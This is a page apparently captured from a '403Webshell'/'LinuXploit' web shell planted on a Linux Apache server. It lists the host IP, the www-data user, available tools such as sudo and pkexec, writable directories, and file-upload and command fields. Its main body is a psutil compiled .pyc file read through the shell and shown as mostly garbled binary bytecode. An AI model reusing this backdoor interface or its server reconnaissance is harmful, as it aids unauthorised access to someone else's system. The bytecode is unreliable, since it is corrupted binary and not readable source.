403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.206
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/psutil/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/psutil/__pycache__/_pswindows.cpython-310.pyc
o

���a��@s.dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlmZddlm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddlm"Z"ddlm#Z#ddlm$Z$ddlm%Z%zddl
mZ&Wn,e'y�Z(z e)e(��*��+d�r�e�,�dd kr�d!Z-e-d"7Z-e-d#7Z-e.e-���dZ([(wwej/d$kr�ddl0Z0ndZ0gd%�Z1d&Z2d'Z3d(ej4vZ5e0du�rd)Z6ne0�7d*d+d)i�Z8e8j6Z6e&j9ej:e&j;ej<e&j=ej>e&j?ej@e&jAejBe&jCejDe&jEejFe&jGejHe&jIejJe&jKejLe&jMejNe&jOe2e&jPejQi
ZRe0du�reGd,d-�d-e0j7�ZSeT��UeSjV�e0du�rsdZWdZXd.ZYd/ZZnGd0d1�d1e0j7�Z[eT��Ue[jV�e\d�id2d�d3d�d4d.�d5d/�d6d7�d8d9�d:d �d;d<�d=d>�d?d@�dAdB�dCdD�dEdF�dGdH�dIdJ�dKdL�dMdN�dOdP�dQdR�dSdT�dUdV�dWdX��Z]e	dYgdZ��Z^e	d[gd\��Z_e	d]gd^��Z`e	d_e`jad`�Zbe	dadbdcg�Zce	dddedf�decja��Zee	dggdh��Zfedidj�dkdl��Zgdmdn�Zhedodp��Zidqdr�Zjdsdt�Zke&jlZldudv�Zmdwdx�Zndydz�Zod{d|�Zpd}d~�Zqdd��Zrd�d��Zsd�d��Ztd�aud�d��Zvd�d�d��Zwd�d��Zxd�d��Zyd�d��Zzd�d��Z{da|d�d��Z}d�d��Z~d�d��Zd�d��Z�Gd�d��d�e��Z�e&j�Z�e&j�Z�e&j�Z�d�d��Z�d�d�d��Z�d�d��Z�d�d��Z�Gd�d��d�e��Z�dS)�z Windows platform implementation.�N)�
namedtuple�)�_common)�ENCODING)�
ENCODING_ERRS)�AccessDenied)�
NoSuchProcess)�TimeoutExpired)�	conn_tmap)�conn_to_ntuple)�debug)�
isfile_strict)�memoize)�memoize_when_activated)�parse_environ_block)�
usage_percent)�PY3)�long)�	lru_cache��range)�unicode)�ABOVE_NORMAL_PRIORITY_CLASS)�BELOW_NORMAL_PRIORITY_CLASS)�HIGH_PRIORITY_CLASS)�IDLE_PRIORITY_CLASS)�NORMAL_PRIORITY_CLASS)�REALTIME_PRIORITY_CLASS)�_psutil_windowszdll load failed�z3this Windows version is too old (< Windows Vista); z:psutil 3.4.2 is the latest version which supports Windows z2000, XP and 2003 server)��)�win_service_iter�win_service_getrrrrrr�IOPRIO_VERYLOW�
IOPRIO_LOW�
IOPRIO_NORMAL�IOPRIO_HIGH�CONN_DELETE_TCB�AF_LINK�
DELETE_TCBi+�__pypy__����
AddressFamilyr)c@s$eZdZeZeZeZeZeZeZdS)�PriorityN)	�__name__�
__module__�__qualname__rrrrrr�r2r2�3/usr/lib/python3/dist-packages/psutil/_pswindows.pyr.nsr.�r c@seZdZdZdZdZdZdS)�
IOPriorityrrr4r N)r/r0r1r$r%r&r'r2r2r2r3r5~s
r5�num_handles�ctx_switches�	user_time�kernel_time�create_timer!�num_threads��	io_rcount�	io_wcount��	io_rbytes��	io_wbytes�	�io_count_others�
�io_bytes_others��num_page_faults��	peak_wset�
�wset��peak_paged_pool��
paged_pool��peak_non_paged_pool��non_paged_pool��pagefile��
peak_pagefile��mem_private��	scputimes)�user�system�idle�	interrupt�dpc�svmem)�total�	available�percent�used�free�pmem)�rss�vmsrHrJrLrNrP�peak_nonpaged_pool�
nonpaged_poolrVrX�private�pfullmem)�uss�
pmmap_grouped�pathri�	pmmap_extzaddr perms � �pio)�
read_count�write_count�
read_bytes�write_bytes�other_count�other_bytesi)�maxsizecCs@d�|�d�dd��}t�|�}|t|�d�}tj�||�S)z�Convert paths using native DOS format like:
        "\Device\HarddiskVolume1\Windows\systemew\file.txt"
    into:
        "C:\Windows\systemew\file.txt"
    �\Nr )�join�split�cext�QueryDosDevice�len�osrq)�s�rawdrive�driveletter�	remainderr2r2r3�convert_dos_path�s
r�cCs"tr|St|t�r|S|�tt�S)zmEncode a unicode string to a byte string by using the default fs
    encoding + "replace" error handler.
    )r�
isinstance�str�encoderr)r�r2r2r3�
py2_strencode�s

r�cC�t��S�N)r�getpagesizer2r2r2r3r���r�cCsNt��}|\}}}}}}|}|}|}	||}
t|||dd�}t||||
|	�S)z&System virtual memory as a namedtuple.r��round_)r�virtual_memrrb)�mem�totphys�	availphys�totpagef�
availpagef�totvirt�freevirtrc�availrgrfrer2r2r3�virtual_memory�sr�c	Csht��}|d}|d}|d}|d}||}t|||�}||}t||dd�}t�||||dd�S)z=Swap system memory as a (total, used, free, sin, sout) tuple.rrr4r r�)rr��minrr�sswap)	r��
total_phys�	free_phys�total_system�free_systemrcrgrfrer2r2r3�swap_memory�sr�cCsPtrt|t�r|jtdd�}t�|�\}}||}t||dd�}t�	||||�S)z'Return disk usage associated with path.�strict)�errorsrr�)
rr��bytes�decoderr�
disk_usagerr�
sdiskusage)rqrcrgrfrer2r2r3r�sr�cCst�|�}dd�|D�S)zReturn disk partitions.cSsg|]}tj|��qSr2)r�	sdiskpart��.0�xr2r2r3�
<listcomp>�z#disk_partitions.<locals>.<listcomp>)r�disk_partitions)�all�rawlistr2r2r3r�s
r�cCs<t��\}}}tdd�tt���D��}t||||j|j�S)z)Return system CPU times as a named tuple.cS�g|]}t|��qSr2)�sum)r��nr2r2r3r�)�zcpu_times.<locals>.<listcomp>)r�	cpu_timesr\�zip�
per_cpu_timesr`ra)r]r^r_�
percpu_summedr2r2r3r�#s
�r�cCs:g}t��D]\}}}}}t|||||�}|�|�q|S)z6Return system per-CPU times as a list of named tuples.)rr�r\�append)�retr]r^r_r`ra�itemr2r2r3r�.s
r�cCr�)z0Return the number of logical CPUs in the system.)r�cpu_count_logicalr2r2r2r3r�7r�r�cCr�)z-Return the number of CPU cores in the system.)r�cpu_count_coresr2r2r2r3r�<r�r�cCs$t��\}}}}d}t�||||�S)zReturn CPU statistics.r)r�	cpu_statsr�	scpustats)r7�
interrupts�dpcs�syscalls�soft_interruptsr2r2r3r�As

�r�cCs(t��\}}d}t�t|�|t|��gS)zMReturn CPU frequency.
    On Windows per-cpu frequency is not supported.
    �)r�cpu_freqr�scpufreq�float)�curr�max_�min_r2r2r3r�Isr�FcCs*tst��dat��}tdd�|D��S)z~Return the number of processes in the system run queue averaged
    over the last 1, 5, and 15 minutes respectively as a tupleTcSsg|]}t|d��qS)r4)�round)r��loadr2r2r3r�`r�zgetloadavg.<locals>.<listcomp>)�_loadavg_inititializedr�init_loadavg_counter�
getloadavg�tuple)�	raw_loadsr2r2r3r�Us
r�cCs�|tvrtd|d�dd�tD��f��t|\}}t�|||�}t�}|D]"}|\}}}	}
}}}
t|||	|
||t|dkr?|
ndd�}|�|�q&t	|�S)z�Return socket connections.  If pid == -1 return system-wide
    connections (as opposed to connections opened by one process only).
    z+invalid %r kind argument; choose between %sz, cSr�r2)�reprr�r2r2r3r�nr�z#net_connections.<locals>.<listcomp>r,N)�pid)
r
�
ValueErrorr}r�net_connections�setr�TCP_STATUSES�add�list)�kind�_pid�families�typesr�r�r��fd�fam�type�laddr�raddr�statusr��ntr2r2r3r�hs��r�cCsxi}t��}|��D]/\}}tst|t�sJt|���t|�}|\}}}}tt	d�r/t	�
|�}t	�||||�||<q
|S)z)Get NIC stats (isup, duplex, speed, mtu).�	NicDuplex)r�net_if_stats�itemsrr�rr�r��hasattrrr��	snicstats)r��rawdict�namer��isup�duplex�speed�mtur2r2r3r�zs

r�cCst��}tdd�|��D��S)zsReturn network I/O statistics for every network interface
    installed on the system as a dict of raw tuples.
    cSsg|]
\}}t|�|f�qSr2�r�)r��k�vr2r2r3r���z#net_io_counters.<locals>.<listcomp>)r�net_io_counters�dictr��r�r2r2r3r��sr�cCs8g}t��D]}t|�}t|d�|d<|�|�q|S)z,Return the addresses associated to each NIC.r)r�net_if_addrsr�r�r�)r�r�r2r2r3r��sr�cCsdt��\}}}}|dk}t|d@�}t|d@�}|rdS|s |r$tj}n|dkr+tj}t�|||�S)zReturn battery information.r�rANr,)r�sensors_battery�boolr�POWER_TIME_UNLIMITED�POWER_TIME_UNKNOWN�sbattery)�
acline_status�flagsre�secsleft�
power_plugged�
no_battery�chargingr2r2r3r��sr�cCs(tt���}t|t�dkrtS|a|S)z:The system boot time expressed in seconds since the epoch.r)r�r�	boot_time�abs�_last_btimer�r2r2r3r�s
rcCsHg}t��}|D]}|\}}}t|�}t�|d||d�}|�|�q|S)z:Return currently connected users as a list of namedtuples.N)r�usersr�r�suserr�)�retlistr�r�r]�hostname�tstampr�r2r2r3r�s
rccs,�t��D]\}}tt|�t|��VqdS)z*Yields a list of WindowsService instances.N)r�winservice_enumerate�WindowsServicer�)r��display_namer2r2r3r"�s��r"cCst|d�}|��d|_|S)zBOpen a Windows service and return it as a WindowsService instance.Nr)r�
_query_config�
_display_name)r��servicer2r2r3r#�s
r#c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
ejdd��Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$S)%rz(Represents an installed Windows service.cCs||_||_dSr�)�_namer)�selfr�rr2r2r3�__init__�s
zWindowsService.__init__cCs d|j|jf}d|jj|fS)Nz(name=%r, display_name=%r)z%s%s)rr�	__class__r/)r�detailsr2r2r3�__str__�s�zWindowsService.__str__cCsd|��t|�fS)Nz
<%s at %s>)r�id�rr2r2r3�__repr__�szWindowsService.__repr__cCst|t�stS|j|jkSr�)r�r�NotImplementedr�r�otherr2r2r3�__eq__�s
zWindowsService.__eq__cCs
||kSr�r2rr2r2r3�__ne__�s
zWindowsService.__ne__cCs\|���t�|j�\}}}}Wd�n1swYtt|�t|�t|�t|�d�S)N)r�binpath�username�
start_type)�_wrap_exceptionsr�winservice_query_configrr�r�)rrr!r"r#r2r2r3rs

���zWindowsService._query_configcCsP|���t�|j�\}}Wd�n1swY|dkr"d}t||d�S)Nr)r�r�)r$r�winservice_query_statusrr�)rr�r�r2r2r3�
_query_statuss
�zWindowsService._query_statusc
csp�zdVWdSty7}z$t|�rtd|jd|jd��|jtjtjfvr2td|jd|jd���d}~ww)z{Ctx manager which translates bare OSError and WindowsError
        exceptions into NoSuchProcess and AccessDenied.
        Nz2service %r is not querable (not enough privileges)�r�r��msgzservice %r does not exist))	�OSError�is_permission_errrr�winerrorr�ERROR_INVALID_NAME�ERROR_SERVICE_DOES_NOT_EXISTr�r�errr2r2r3r$s*�������zWindowsService._wrap_exceptionscC�|jS)z�The service name. This string is how a service is referenced
        and can be passed to win_service_get() to get a new
        WindowsService instance.
        )rrr2r2r3r�*szWindowsService.namecCr1)z_The service display name. The value is cached when this class
        is instantiated.
        )rrr2r2r3r1szWindowsService.display_namecC�|��dS)zwThe fully qualified path to the service binary/exe file as
        a string, including command line arguments.
        r!�rrr2r2r3r!7�zWindowsService.binpathcCr2)z,The name of the user that owns this service.r"r3rr2r2r3r"=�zWindowsService.usernamecCr2)zRA string which can either be "automatic", "manual" or
        "disabled".
        r#r3rr2r2r3r#Ar4zWindowsService.start_typecCr2)zzThe process PID, if any, else None. This can be passed
        to Process class to control the service's process.
        r��r'rr2r2r3r�Ir4zWindowsService.pidcCr2)zService status as a string.r�r6rr2r2r3r�Or5zWindowsService.statuscCstt�|����S)zService long description.)r�r�winservice_query_descrr�rr2r2r3�descriptionS�zWindowsService.descriptioncCs>|��}|�|���|��|d<|��|d<|��|d<|S)zUUtility method retrieving all the information above as a
        dictionary.
        r�rr8)r�updater'r�rr8)r�dr2r2r3�as_dictYszWindowsService.as_dictN)r/r0r1�__doc__rrrrr rr'�
contextlib�contextmanagerr$r�rr!r"r#r�r�r8r<r2r2r2r3r�s(
rcCs<t|t�s	J|��|jtjtjfvpt|dd�tjtjfvS)z*Return True if this is a permission error.r,r,)	r�r*�errno�EPERM�EACCES�getattrr�ERROR_ACCESS_DENIED�ERROR_PRIVILEGE_NOT_HELD)�excr2r2r3r+�s��r+cCsBt|t�s	J|��t|�rt||d�S|jtjkrt||d�S|�)z3Convert OSError into NoSuchProcess or AccessDenied.�r�r�)r�r*r+rr@�ESRCHr)rFr�r�r2r2r3�convert_oserror�srIc�t����fdd��}|S)zDDecorator which converts OSError into NoSuchProcess or AccessDenied.c
sDz�|g|�Ri|��WSty!}z	t||j|jd��d}~ww)NrG)r*rIr�r)r�args�kwargsr0��funr2r3�wrapper�s��z wrap_exceptions.<locals>.wrapper��	functools�wraps�rNrOr2rMr3�wrap_exceptions�srTcrJ)z�Workaround for https://github.com/giampaolo/psutil/issues/875.
    See: https://stackoverflow.com/questions/4457745#4457745
    c	s�d}d}t|�D]6}z�|g|�Ri|��WSty>}z|}|jtkr9t�|�t|dd�}WYd}~q�d}~wwd�||f}t|j|j	|d��)N�-C��6?�!r4�{�G�z�?zI%s retried %s times, converted to AccessDenied as it's still returning %rr()
r�WindowsErrorr,�ERROR_PARTIAL_COPY�time�sleepr�rr�r)	rrKrL�delay�timesr��_r0r)rMr2r3rO�s$

��	�z)retry_error_partial_copy.<locals>.wrapperrPrSr2rMr3�retry_error_partial_copy�sr_c@s�eZdZdZgd�Zdd�Zdd�Zdd�Zed	d
��Z	dd�Z
eed
d���Zee
dd���Zee
dd���Zdd�Zdd�Zedd��Zedd��Zdd�Zedd��Zedd ��ZedMd"d#��Zed$d%��Zed&d'��Zed(d)��Zed*d+��Zed,d-��Zed.d/��Zed0d1��Zee
d2d3���Zed4d5��Z edNd7d8��Z!ed9d:��Z"ed;d<��Z#ed=d>��Z$ed?d@��Z%edAdB��Z&edCdD��Z'edEdF��Z(edGdH��Z)edIdJ��Z*edKdL��Z+d!S)O�Processz1Wrapper class around underlying C implementation.)r�r�_ppid�_cachecCs||_d|_d|_dSr�)r�rra)rr�r2r2r3r�s
zProcess.__init__cC�|j�|�|j�|�dSr�)�
_proc_info�cache_activate�exerr2r2r3�
oneshot_enter��zProcess.oneshot_entercCrcr�)rd�cache_deactivaterfrr2r2r3�oneshot_exit�rhzProcess.oneshot_exitcCs$t�|j�}t|�tt�ksJ�|S)zOReturn multiple information about this process as a
        raw tuple.
        )r�	proc_infor�r��	pinfo_map�rr�r2r2r3rd�szProcess._proc_infocCs,|jdkrdS|jdkrdStj�|���S)zbReturn process name, which on Windows is always the final
        part of the executable.
        rzSystem Idle Processr!�System)r�r�rq�basenamerfrr2r2r3r��s


zProcess.namec
Cs�tr*zt�|j�}Wn%ty)}z|jdkr$td|�t|j|j���d}~wwt�|j�}t	s6t
|�}|�d�r?t|�S|S)N�z%r translated into AccessDeniedr|)
�PYPYr�proc_exer�rXr@rrrrr��
startswithr�)rrfr0r2r2r3rf�s 
��
zProcess.exec
Cs�tjtjkr1z
tj|jdd�}Wn(ty0}zt|�r%tj|jdd�}n�WYd}~n
d}~wwtj|jdd�}tr=|Sdd�|D�S)NT)�use_pebFcSr�r2r�)r�r�r2r2r3r� r�z#Process.cmdline.<locals>.<listcomp>)r�WINVER�WINDOWS_8_1�proc_cmdliner�r*r+r)rr�r0r2r2r3�cmdlines���zProcess.cmdlinecCs6t�|j�}|rtst|t�sJt|���tt|��Sr�)	r�proc_environr�rr�rr�rr�)r�ustrr2r2r3�environ"szProcess.environcCs,zt�|jWStyt|j|j��wr�)�ppid_mapr��KeyErrorrrrr2r2r3�ppid*s
�zProcess.ppidcCs�zt�|j�WStyV}zCt|�rQ|��}|td|td|td|td|td|td|td|td|td	|td
f
WYd}~S�d}~ww)NrHrJrLrNrPrRrTrVrXrZ)r�proc_memory_infor�r*r+rdrl)rr0�infor2r2r3�_get_raw_meminfo0s&









���zProcess._get_raw_meminfocCs(|��}|d}|d}t||f|�S)Nr4r?)r�rh)r�trirjr2r2r3�memory_infoFszProcess.memory_infocCs,|��}t�|j�}|t�9}t||f�Sr�)r�r�proc_memory_ussr�r�rn)r�	basic_memror2r2r3�memory_full_infoPs
zProcess.memory_full_infoc
cs|�zt�|j�}Wnty}zt||j|j��d}~ww|D]\}}}}t|�}ts0t|�}t	|�}||||fVq dSr�)
r�proc_memory_mapsr�r*rIrr�rr��hex)r�rawr0�addr�permrqrir2r2r3�memory_mapsWs����zProcess.memory_mapscCst�|j�Sr�)r�	proc_killr�rr2r2r3�killfr5zProcess.killcCsT|tjkr
t�|j�dS|ttdt��ttdt��fvr&t�|j|�dSt	d��)N�CTRL_C_EVENT�CTRL_BREAK_EVENTzPonly SIGTERM, CTRL_C_EVENT and CTRL_BREAK_EVENT signals are supported on Windows)
�signal�SIGTERMrr�r�rC�objectr�r�r�)r�sigr2r2r3�send_signaljs
��zProcess.send_signalNcCs�|durtj}nt|d�}ttdtj�}|dur|�|nd}z	t�|j|�}Wntjy9t||j|j��tj	yDd}Ynwd}	t
|j�sO|S|r_|�|kr_t||j|jd��t�|�t|dd�}qH)Ni��	monotonicrUTrGr4rW)
r�INFINITE�intrCrZ�	proc_waitr�r	r�TimeoutAbandoned�
pid_existsr[r�)r�timeout�cext_timeout�timer�stop_at�	exit_coder\r2r2r3�waitws*	�

�zProcess.waitcCs2|jdvrdSt�|j�\}}t|�dt|�S)N�rr!zNT AUTHORITY\SYSTEMr|)r�r�
proc_usernamer�)r�domainr]r2r2r3r"�s
zProcess.usernamec
CsXzt�|j�\}}}|WSty+}zt|�r&|��tdWYd}~S�d}~ww)Nr:)r�
proc_timesr�r*r+rdrl)rr]r^�createdr0r2r2r3r:�s��zProcess.create_timecCs|��tdS)Nr;)rdrlrr2r2r3r;�szProcess.num_threadscCs<t�|j�}g}|D]\}}}t�|||�}|�|�q
|Sr�)r�proc_threadsr�r�pthreadr�)rr�r
�	thread_id�utime�stime�ntupler2r2r3�threads�szProcess.threadsc
Csvzt�|j�\}}}Wn'ty2}zt|�s�|��}|td}|td}WYd}~nd}~wwt�||dd�S)Nr8r9r�)	rr�r�r*r+rdrlr�	pcputimes)rr]r^r�r0r�r2r2r3r��s��zProcess.cpu_timescC�t�|jd�dS)NT�r�proc_suspend_or_resumer�rr2r2r3�suspend�r9zProcess.suspendcCr�)NFr�rr2r2r3�resume�r9zProcess.resumecCs4|jdvrt|j|j��t�|j�}ttj�|��S)Nr�)	r�rrr�proc_cwdr�r�rq�normpath)rrqr2r2r3�cwd�s
zProcess.cwdcCsd|jdvrgSt�}t�|j�}|D]}t|�}t|�r-ts"t|�}t�	|d�}|�
|�qt|�S)Nr�r,)r�r�r�proc_open_filesr�r
rr�r�	popenfiler�r�)rr��raw_file_names�_filer�r2r2r3�
open_files�s

�zProcess.open_files�inetcCst||jd�S)N)r�)r�r�)rr�r2r2r3�connections��zProcess.connectionscC� t�|j�}tdurt|�}|Sr�)r�proc_priority_getr��enumr.�r�valuer2r2r3�nice_get��zProcess.nice_getcCst�|j|�Sr�)r�proc_priority_setr�r�r2r2r3�nice_set�r�zProcess.nice_setcCr�r�)r�proc_io_priority_getr�r�r5rmr2r2r3�
ionice_getr�zProcess.ionice_getcCs:|rtd��|ttttfvrtd|��t�|j|�dS)Nz&value argument not accepted on Windowsz%s is not a valid priority)	�	TypeErrorr$r%r&r'r�r�proc_io_priority_setr�)r�ioclassr�r2r2r3�
ionice_set
s�zProcess.ionice_setcCs�zt�|j�}Wt|�StyI}z2t|�s�|��}|td|td|td|td|td|tdf}WYd}~t|�Sd}~ww)Nr=r>r@rBrDrF)r�proc_io_countersr�r*r+rdrlrt)rr�r0r�r2r2r3�io_counterss"
�





���zProcess.io_counterscCst�|j�}|rtjStjSr�)r�proc_is_suspendedr�r�STATUS_STOPPED�STATUS_RUNNING)r�	suspendedr2r2r3r�%szProcess.statuscCsdd�}t�|j�}||�S)Ncs�fdd�td�D�S)Ncsg|]
}d|>�@r|�qS)rr2)r��i�r�r2r3r�0r�zBProcess.cpu_affinity_get.<locals>.from_bitmask.<locals>.<listcomp>�@rr�r2r�r3�from_bitmask/sz.Process.cpu_affinity_get.<locals>.from_bitmask)r�proc_cpu_affinity_getr�)rr��bitmaskr2r2r3�cpu_affinity_get-szProcess.cpu_affinity_getcCsldd�}tttt����}|D]}||vr(t|ttf�s"td|��td|��q||�}t	�
|j|�dS)NcSs.|std|��d}|D]}|d|O}q|S)Nzinvalid argument %rrr4)r�)�ls�out�br2r2r3�
to_bitmask6sz,Process.cpu_affinity_set.<locals>.to_bitmaskz&invalid CPU %r; an integer is requiredzinvalid CPU %r)r�rr�r�r�r�rr�r�r�proc_cpu_affinity_setr�)rr�r��allcpus�cpur�r2r2r3�cpu_affinity_set4s��zProcess.cpu_affinity_setc
CsNzt�|j�WSty&}zt|�r!|��tdWYd}~S�d}~ww)Nr6)r�proc_num_handlesr�r*r+rdrlr/r2r2r3r6Ms��zProcess.num_handlescCs|��td}t�|d�S)Nr7r)rdrlr�pctxsw)rr7r2r2r3�num_ctx_switchesVszProcess.num_ctx_switchesr�)r�),r/r0r1r=�	__slots__rrgrjrrdr�rTrfr_rxr{r~r�r�r�r�r�r�r�r"r:r;r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r6r�r2r2r2r3r`�s�

	


*
















r`r2)r,)NN)�r=r>r@rQr�r��sysrZ�collectionsr�rrrrrr	r
rrr
rrrr�_compatrrrrrrrrrrrrr�ImportErrorr0r��lowerrs�getwindowsversionr)�RuntimeError�version_infor��__extra__all__r(rY�builtin_module_namesrqr)�IntEnumr-�MIB_TCP_STATE_ESTAB�CONN_ESTABLISHED�MIB_TCP_STATE_SYN_SENT�
CONN_SYN_SENT�MIB_TCP_STATE_SYN_RCVD�
CONN_SYN_RECV�MIB_TCP_STATE_FIN_WAIT1�CONN_FIN_WAIT1�MIB_TCP_STATE_FIN_WAIT2�CONN_FIN_WAIT2�MIB_TCP_STATE_TIME_WAIT�CONN_TIME_WAIT�MIB_TCP_STATE_CLOSED�
CONN_CLOSE�MIB_TCP_STATE_CLOSE_WAIT�CONN_CLOSE_WAIT�MIB_TCP_STATE_LAST_ACK�
CONN_LAST_ACK�MIB_TCP_STATE_LISTEN�CONN_LISTEN�MIB_TCP_STATE_CLOSING�CONN_CLOSING�MIB_TCP_STATE_DELETE_TCB�PSUTIL_CONN_NONE�	CONN_NONEr�r.�globalsr:�__members__r$r%r&r'r5r�rlr\rbrh�_fieldsrnrpr}rrrtr�r�r�r�r��disk_io_countersr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr"r#r�r�pidsr�r|r+rIrTr_r`r2r2r2r3�<module>sb��



�

��������	�
���
���������� ���


	
		
*



Youez - 2016 - github.com/yon3zu
LinuXploit